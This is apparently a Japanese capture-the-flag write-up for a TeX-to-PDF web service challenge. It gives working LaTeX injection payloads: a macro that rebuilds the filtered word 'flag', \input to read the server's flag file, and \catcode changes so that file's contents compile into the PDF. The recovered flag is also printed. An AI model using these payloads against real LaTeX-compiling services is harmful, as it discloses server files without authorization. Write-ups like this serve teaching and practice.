texをpdfにするサービスを作りました。
texで攻撃することはできますか?
サイトにアクセスするとLaTeXのエディタが表示され、toPDFを押すとPDF出力されたファイルが得られる。
ただし、コンパイルに失敗した場合にはラーメンの画像が得られる。
また、TeXファイルの内容にflag
という文字列を含んでいた場合は中身を全て削除される。
TeXにはマクロという機能があるため、flag
という文字列は以下のようなマクロを使うことで簡単に生成できる。
\newcommand{\combination}[2]{#1#2}
\combination{fla}{g}
また外部ファイルの内容は\input
を用いることで取得することが出来る。
なので一見次のコードでフラグが取れるように思える(実際ローカルのテスト環境では動く)
\documentclass{article}
\newcommand{\combination}[2]{#1#2}
\begin{document}
\input{\combination{fla}{g}}
\end{document}
しかし、問題サーバにこれを投げられてもラーメンをプレゼントされる。
ラーメンが提供される場合は
flag
を含む場合のどちらかであるため、flag
ファイルを読んだ結果としてLaTeXがsyntaxエラーを起こしたと考えられる。
なので、記号を可能な限りエスケープした上で同じようなコードを投げる
\documentclass{article}
\newcommand{\combination}[2]{#1#2}
\catcode`\$=12
\catcode`\&=12
\catcode`\_=12
\catcode`\|=12
\catcode`\^=12
\catcode`\~=12
\begin{document}
\input{\combination{fla}{g}}
\end{document}
すると以下のような出力がえられる
ctf4b15˙73x˙pr0n0unc3d˙ch0u?
このうち{
}
はフラグの書式から補完できる。
また、TeXでは_
が正常に表示できないため途中の˙
は_
であると推測できる。
ctf4b{15_73x_pr0n0unc3d_ch0u?}
この問題に取り組んでる時間帯が夜だったので、唐突なラーメン飯テロにキレそうになりました。